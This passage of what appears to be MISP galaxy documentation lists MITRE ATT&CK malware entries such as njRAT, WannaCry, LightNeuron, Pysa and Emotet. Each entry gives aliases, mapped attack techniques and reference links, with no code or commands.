https://blog.malwarebytes.com/threat-intelligence/2021/08/new-variant-of-konni-malware-used-in-campaign-targetting-russia/

https://blog.talosintelligence.com/2017/05/konni-malware-under-radar-for-years.html
https://medium.com/d-hunter/a-look-into-konni-2019-campaign-b45a0f321e9b
https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/
https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/

HyperStack - S0537

[HyperStack](https://attack.mitre.org/software/S0537) is a RPC-based backdoor used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2018. [HyperStack](https://attack.mitre.org/software/S0537) has similarities to other backdoors used by [Turla](https://attack.mitre.org/groups/G0010) including [Carbon](https://attack.mitre.org/software/S0335).(Citation: Accenture HyperStack October 2020)

The tag is: *misp-galaxy:mitre-malware="HyperStack - S0537"*

HyperStack - S0537 is also known as:

- HyperStack

View relationships graph

HyperStack - S0537 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inter-Process Communication - T1559" with estimative-language:likelihood-probability="almost-certain"

Table 5612. Table References

Links
https://attack.mitre.org/software/S0537
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity

Remexi - S0375

[Remexi](https://attack.mitre.org/software/S0375) is a Windows-based Trojan that was developed in the C programming language.(Citation: Securelist Remexi Jan 2019)

The tag is: *misp-galaxy:mitre-malware="Remexi - S0375"*

Remexi - S0375 is also known as:

- Remexi

View relationships graph

Remexi - S0375 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

* uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 5613. Table References

Links
https://attack.mitre.org/software/S0375
https://securelist.com/chafer-used-remexi-malware/89538/

njRAT - S0385

[njRAT](https://attack.mitre.org/software/S0385) is a remote access tool (RAT) that was first observed in 2012. It has been used by threat actors in the Middle East.(Citation: Fidelis njRAT June 2013)

The tag is: *misp-galaxy:mitre-malware="njRAT - S0385"*

njRAT - S0385 is also known as:

* njRAT
* Njw0rm
* LV
* Bladabindi

View relationships graph

njRAT - S0385 has relationships with:

* uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
* uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"

Table 5614. Table References

Links
https://attack.mitre.org/software/S0385
https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/
https://www.fireeye.com/blog/threat-research/2013/08/njw0rm-brother-from-the-same-mother.html
https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf

Crutch - S0538

[Crutch](https://attack.mitre.org/software/S0538) is a backdoor designed for document theft that has been used by [Turla](https://attack.mitre.org/groups/G0010) since at least 2015.(Citation: ESET Crutch December 2020)

The tag is: *misp-galaxy:mitre-malware="Crutch - S0538"*

Crutch - S0538 is also known as:

- Crutch

View relationships graph

Crutch - S0538 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5615. Table References

Links
https://attack.mitre.org/software/S0538
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/

Pysa - S0583

[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)

The tag is: *misp-galaxy:mitre-malware="Pysa - S0583"*

Pysa - S0583 is also known as:

- Pysa
- Mespinoza

View relationships graph

Pysa - S0583 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote Desktop Protocol - T1021.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5616. Table References

Links
https://attack.mitre.org/software/S0583
https://digital.nhs.uk/cyber-alerts/2020/cc-3633

https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf

ECCENTRICBANDWAGON - S0593

[ECCENTRICBANDWAGON](https://attack.mitre.org/software/S0593) is a remote access Trojan (RAT) used by North Korean cyber actors that was first identified in August 2020. It is a reconnaissance tool—with keylogging and screen capture functionality—used for information gathering on compromised systems.(Citation: CISA EB Aug 2020)

The tag is: *misp-galaxy:mitre-malware="ECCENTRICBANDWAGON - S0593"*

ECCENTRICBANDWAGON - S0593 is also known as:

- ECCENTRICBANDWAGON

View relationships graph

ECCENTRICBANDWAGON - S0593 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 5617. Table References

Links
https://attack.mitre.org/software/S0593
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-239a

LightNeuron - S0395

[LightNeuron](https://attack.mitre.org/software/S0395) is a sophisticated backdoor that has targeted Microsoft Exchange servers since at least 2014. [LightNeuron](https://attack.mitre.org/software/S0395) has been used by [Turla](https://attack.mitre.org/groups/G0010) to target diplomatic and foreign affairs-related organizations. The presence of certain strings in the malware suggests a Linux variant of [LightNeuron](https://attack.mitre.org/software/S0395) exists.(Citation: ESET

LightNeuron May 2019)

The tag is: *misp-galaxy:mitre-malware="LightNeuron - S0395"*

LightNeuron - S0395 is also known as:

- LightNeuron

View relationships graph

LightNeuron - S0395 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Transport Agent - T1505.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Remote Email Collection - T1114.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"

Table 5618. Table References

Links
https://attack.mitre.org/software/S0395
https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf

WannaCry - S0366

[WannaCry](https://attack.mitre.org/software/S0366) is ransomware that was first seen in a global attack during May 2017, which affected more than 150 countries. It contains worm-like features to spread itself across a computer network using the SMBv1 exploit EternalBlue.(Citation: LogRhythm WannaCry)(Citation: US-CERT WannaCry 2017)(Citation: Washington Post WannaCry 2017)(Citation: FireEye WannaCry 2017)

The tag is: *misp-galaxy:mitre-malware="WannaCry - S0366"*

WannaCry - S0366 is also known as:

- WannaCry
- WanaCry
- WanaCrypt
- WanaCrypt0r
- WCry

View relationships graph

WannaCry - S0366 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="RDP Hijacking - T1563.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5619. Table References

Links
https://attack.mitre.org/software/S0366
https://logrhythm.com/blog/a-technical-analysis-of-wannacry-ransomware/
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.secureworks.com/research/wcry-ransomware-analysis
https://www.us-cert.gov/ncas/alerts/TA17-132A

https://www.washingtonpost.com/business/economy/more-than-150-countries-affected-by-massive-cyberattack-europol-says/2017/05/14/5091465e-3899-11e7-9e48-c4f199710b69_story.html?utm_term=.7fa16b41cad4

VaporRage - S0636

[VaporRage](https://attack.mitre.org/software/S0636) is a shellcode downloader that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021.(Citation: MSTIC Nobelium Toolset May 2021)

The tag is: *misp-galaxy:mitre-malware="VaporRage - S0636"*

VaporRage - S0636 is also known as:

- VaporRage

View relationships graph

VaporRage - S0636 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Execution Guardrails - T1480" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5620. Table References

Links
https://attack.mitre.org/software/S0636
https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/

SysUpdate - S0663

[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: *misp-galaxy:mitre-malware="SysUpdate - S0663"*

SysUpdate - S0663 is also known as:

- SysUpdate

- HyperSSL
- Soldier
- FOCUSFJORD

View relationships graph

SysUpdate - S0663 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5621. Table References

Links

https://attack.mitre.org/software/S0663
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

DarkWatchman - S0673

[DarkWatchman](https://attack.mitre.org/software/S0673) is a lightweight JavaScript-based remote access tool (RAT) that avoids file operations; it was first observed in November 2021.(Citation: Prevailion DarkWatchman 2021)

The tag is: *misp-galaxy:mitre-malware="DarkWatchman - S0673"*

DarkWatchman - S0673 is also known as:

- DarkWatchman

View relationships graph

DarkWatchman - S0673 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shared Modules - T1129" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Browser Bookmark Discovery - T1217" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Asymmetric Cryptography - T1573.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Location Discovery - T1614" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5622. Table References

Links
https://attack.mitre.org/software/S0673
https://www.prevailion.com/darkwatchman-new-fileless-techniques/

Emotet - S0367

[Emotet](https://attack.mitre.org/software/S0367) is a modular malware variant which is primarily used as a downloader for other malware variants such as [TrickBot](https://attack.mitre.org/software/S0266) and [IcedID](https://attack.mitre.org/software/S0483). Emotet first emerged in June 2014 and has been primarily used to target the banking sector. (Citation: Trend Micro Banking Malware Jan 2019)

The tag is: *misp-galaxy:mitre-malware="Emotet - S0367"*

Emotet - S0367 is also known as:

- Emotet
- Geodo

View relationships graph

Emotet - S0367 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
